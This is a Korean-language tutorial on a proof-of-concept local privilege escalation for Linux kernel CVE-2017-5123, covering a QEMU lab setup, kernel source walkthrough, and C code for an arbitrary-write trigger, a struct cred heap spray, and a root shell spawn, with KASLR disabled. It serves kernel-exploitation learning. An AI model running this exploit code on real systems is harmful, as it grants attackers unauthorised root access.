
PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음
PoC CVE-2017-5123 - LPE - SMEP/SMAP 우회. KASLR 없음
이 간단한 분석에서는 root 권한을 얻을 수 있는 커널 취약점을 분석하겠습니다.
이 문서는 네 부분으로 구성됩니다:
이 CVE를 익스플로잇하는 더 좋은 방법이 많다는 점을 지적하고 싶습니다(실제로 이것은 커널 학습을 위한 _PoC_일 뿐이며 _실전_에서는 사용할 수 없습니다). 하지만 이 방법론이 커널 익스플로잇 입문에 유용할 수 있다고 생각합니다.
이 취약점은 _4c48abe91be0_에서 도입되었으므로 해당 버전의 커널을 빌드해야 합니다.
이것은 오래된 버전이고 코드에 패치가 필요하기 때문에 약간 까다로울 수 있습니다.
이미 패치된 커널 코드가 있는 저장소와 .config 파일을 만들었으므로 _클론하고 빌드_할 수 있습니다.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
참고: 이 커널은 virtio 드라이버로 빌드되므로 VM과 파일을 공유하기 위해 _virtio 디스크_를 사용할 수 있습니다.
이제 초기 _rootfs_를 생성합니다:
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1
그런 다음 기본 Linux 배포판을 설치해야 합니다. 예를 들어 pacstrap 또는 debootstrap을 사용합니다.
sudo pacstrap /tmp/mount1 base base-devel vim
마지막으로 시스템을 수정합니다:
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
모든 것이 정상이면 _qemu_로 테스트 시스템을 시험해볼 수 있습니다:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
CVE 설명에 따르면 waitid 시스템 호출 중에 제한되지 않은 쓰기 작업이 있습니다.
kernel/exit.c를 열고 코드를 봅시다:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
이 함수는 매우 간단합니다. 몇 가지 검사 후 unsafe_put_user(...)에 대한 여러 호출이 있고 함수가 반환됩니다.
이 함수의 주요 부분은 unsafe_put_user(...) 함수로 구성되어 있으므로 (arch/x86/include/asm/uaccess.h)로 이동합니다:
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
주석에는 크고 뚱뚱한 경고가 있습니다: unsafe_put/get_user를 사용하려면 먼저 access_ok()를 호출하고 user_access_begin/end()로 감싸야 합니다.
이전 코드(waitid)를 살펴보면 access_ok()가 호출되지 않았으므로 시스템 호출이 이 _경고_를 _위반_합니다.
하지만 그 매크로들은 무엇일까요?
_SMAP_와 _SMEP_는 익스플로잇 작성을 어렵게 하기 위해 커널에 도입된 두 가지 보안 기능입니다. 이 기능들은 CPU에 의해 강제된다는 점에 유의하십시오.
_SMEP_는 CPU가 수퍼바이저 모드에 있을 때 사용자 공간 코드를 실행하는 것을 방지합니다. 반면 _SMAP_는 사용자 메모리에 대한 읽기/쓰기 액세스를 차단합니다.
커널은 사용자 메모리에 데이터를 쓰거나 읽어야 하며, 이는 두 가지 방법으로 수행할 수 있습니다:
copy_from_user)가 있습니다.unsafe_put_user의 정의에서 볼 수 있듯이 이 함수는 ptr이 가리키는 메모리에 x의 값만 복사합니다(오류가 있으면 err_label로 점프). 우리는 SMAP 때문에 커널이 사용자 공간에 액세스할 수 없다고 말했으며, 이것이 바로 이러한 함수들이 user_access_begin/end()로 감싸져야 하는 이유입니다.
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
기본적으로 이 두 매크로는 _SMAP_를 활성화/비활성화합니다.
이전의 "경고"는 access_ok 함수도 언급합니다:
/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
여기서 주석은 자명합니다: 이 매크로는 포인터가 유효한 사용자 공간 포인터인지 확인합니다.
waitid 코드를 다시 살펴보겠습니다:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
이미 짐작하셨겠지만, access_ok()의 부재로 인해 infop 포인터가 공격자에 의해 완전히 제어되므로 메모리 어디에나 _임의 쓰기_가 가능합니다.
취약한 경로에 도달하는 것은 매우 쉬우며, 이 간단한 코드로 _트리거_를 만들 수 있습니다:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // It is also possible to use fork syscall
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
이 간단한 코드는 취약점을 트리거하고 where 주소가 가리키는 메모리에 씁니다.
이 트리거를 확인하려면 _gdb_를 사용할 수 있습니다. 예를 들어, 임의의 주소를 선택하고 trigger_bug 함수를 사용하여 덮어쓸 수 있습니다.
이 취약점은 다양한 방식으로 익스플로잇될 수 있지만 저는 매우 간단한 접근 방식을 선호합니다.
어디든 원하는 곳에 쓸 수 있지만 쓰여진 데이터는 부분적으로 제어됩니다. 주소를 0으로 덮어쓸 수 있습니다.
기본 아이디어는 프로세스의 _UID_를 덮어써서 _root_가 되는 것이지만, 먼저 Linux에서 자격 증명(credentials)이 무엇인지 이해해야 합니다.
fork 시스템 호출을 파헤치는 것으로 시작합니다. 이 함수는 새 프로세스를 만드는 데 사용됩니다.
kernel/fork.c에서 코드를 확인할 수 있습니다:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
따라서 fork 시스템 호출은 단순히 하드코딩된 매개변수를 가진 _do_fork의 래퍼입니다.
이 마지막 함수는 조금 길지만 다음과 같이 요약할 수 있습니다:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// This will create another task struct but it will NOT start the process.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
이 함수는 새로운 task_struct 객체를 할당합니다. 이 구조체는 매우 중요하지만(프로세스를 설명함), 우리는 cred 필드에 주목하겠습니다:
...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
보시다시피 struct cred에 대한 (세 개의) 포인터가 있습니다. 이 구조체가 어떻게 구성되어 있는지 (include/linux/cred.h) 봅시다:
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
보시다시피 프로세스의 _UID_는 단순히 _unsigned integer_입니다(_kuid_t_의 정의를 따름). 따라서 이 값을 0으로 덮어써서 _root_가 될 수 있습니다.
task_struct 구조체는 copy_process 함수에서 할당됩니다. 이 함수는 약간 복잡하며 주요 목표는 프로세스를 새 프로세스로 '복사'하는 것입니다.
다음과 같이 정의된 copy_creds(p, clone_flags)에 초점을 맞출 수 있습니다:
/*
* Copy credentials for the new process created by fork()
*
* We share if we can, but under some circumstances we have to generate a new
* set.
*
* The new process gets the current process's subjective credentials as its
* objective and subjective credentials
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
보시다시피 이 함수는 실제 할당이 수행되는 prepare_creds를 호출합니다.
이제 (의사)임의의 수의 _struct cred_를 할당할 수 있는 경로가 있습니다:
_do_fork()copy_process()copy_creds()마지막 문제는 사용자 공간에서 _do_fork()를 호출하는 방법입니다. fork를 사용할 수 있지만 느릴 수 있으므로 대신 clone을 사용하겠습니다.
참고: 플래그 때문에 pthread를 사용할 수 없습니다. copy_creds 코드를 보면 구조체가 실제로 할당되지 않는 경로가 있다는 것을 알 수 있습니다.
이제 잠시 요약하겠습니다:
0을 쓸 수 있다는 것을 알고 있습니다.0으로 덮어쓰면 root 권한을 얻는다는 것을 알고 있습니다.이제 메모리의 어디에 써야 하는지 알아야 합니다. KASLR이 비활성화되어 있지만, 하나의 struct cred 주소는 충분히 안정적이지 않으므로 _메모리 스프레이_를 진행하기로 결정했습니다.
주소 범위를 감지하기 위해 메모리에서 struct cred를 찾아야 합니다. 이와 같은 스크립트로 _gdb_와 _python_을 사용할 수 있습니다:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Insert your executable name
if comm == "exploit":
print(task['cred'])
....
참고: 이 스크립트는 KASLR이 비활성화된 경우와 디버그 심볼이 있는 경우에만 작동합니다(init_task 포인터가 필요함).
몇 번 시도해보면 힙이 아래로 자라는 것을 볼 수 있으므로 낮은 주소부터 시도한 다음 높은 주소로 올라갈 수 있습니다.
이제 clone 시스템 호출을 사용하여 많은 프로세스를 생성하고 gdb 덕분에 주소를 확인할 수 있습니다:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread function can simply be a infinite loop
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
참고: 4k 이상의 프로세스를 생성하지 못할 수도 있습니다. 이 경우 ulimits을 확인하세요.
마지막으로 _PoC_를 작성할 수 있습니다.
구조체를 검색하면서 다른 주소로 trigger_bug를 호출하고, 그동안 생성된 스레드가 _UID_를 확인하면 됩니다. 예를 들면 다음과 같습니다:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Sprayed thread
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Loop over syscall getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// If returned UID is different from the previous one, then we have hitted a struct cred area
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Kill other treads in order to stabilize the system
glob_var.one_win = 1;
// Simply spawn a shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
구조체를 맞출 확률은 50%이므로 몇 번 실행하면 root 권한을 얻을 수 있습니다.

이것은 (기본적인) _PoC_이며 스프레이는 완벽하지 않습니다. 이것은 단지 커널의 놀라운 세계에 대한 '소개'일 뿐이며, 제가 건너뛴 많은 개념들이 있지만(예: 메모리 관리) 매우 중요합니다. 더 깊이 공부하고 싶다면 prepare_creds와 메모리 할당을 살펴보세요.
KASLR이 비활성화되어 있지만 이 취약점은 이 완화 조치도 우회할 수 있습니다(unsafe_put_user는 잘못된 주소로 충돌하지 않음). 하지만 커널을 배우는 것이 목표라면 무차별 대입(bruteforcing)의 새로운 '계층'을 추가하는 것이 유용하다고 생각하지 않습니다. 이 취약점을 _실전_에서 사용하려면 다른 익스플로잇을 작성해야 합니다(적어도 다른 스프레이는 필요합니다).
생각할 거리: 이 취약점을 사용하여 ret2dir 기법을 이해하고 시도했습니다(힌트: 별칭 주소에 쓰기를 트리거하고 사용자 공간 주소로 수정 내용을 읽을 수 있습니다).